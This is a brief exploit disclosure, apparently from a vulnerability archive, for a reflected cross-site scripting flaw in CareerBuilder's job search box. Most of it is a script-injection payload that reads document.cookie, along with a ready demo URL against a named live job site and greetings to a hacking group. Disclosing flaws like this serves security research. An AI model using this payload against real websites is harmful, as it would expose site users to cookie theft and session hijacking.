CareerBuilder Cross Site Scripting

2011.11.21
Credit: Mr.PaPaRoSSe
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: CareerBuilder XSS # Date: 20.11.2011 - 05.50 # Author: Mr.PaPaRoSSe # Tested On: Win7 # Platform: Php ------------------------------------------------------------- search box "><script>alert(document.cookie)</script> DEMO http://www.eenbaan.nl/banen/zoeken/?keyword="><script>alert(document.cookie)</script> ------------------------------------------------------------- Contact: paparosse.blogspot.com Greetz: http://DarkDevilz.in/ ------------------------------------------------------------- 3spi0n - ALEXTRAX - sanTiq0 Deathless - ZyX - Tarxes 53rh4+ - bLaCk_uMo - PeRs syntaX - Mavi_Karalik - DarkCOD3R x-Leader - Cyborg - Y2J ~ And All DD'z Family ------------------------------------------------------------- #~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top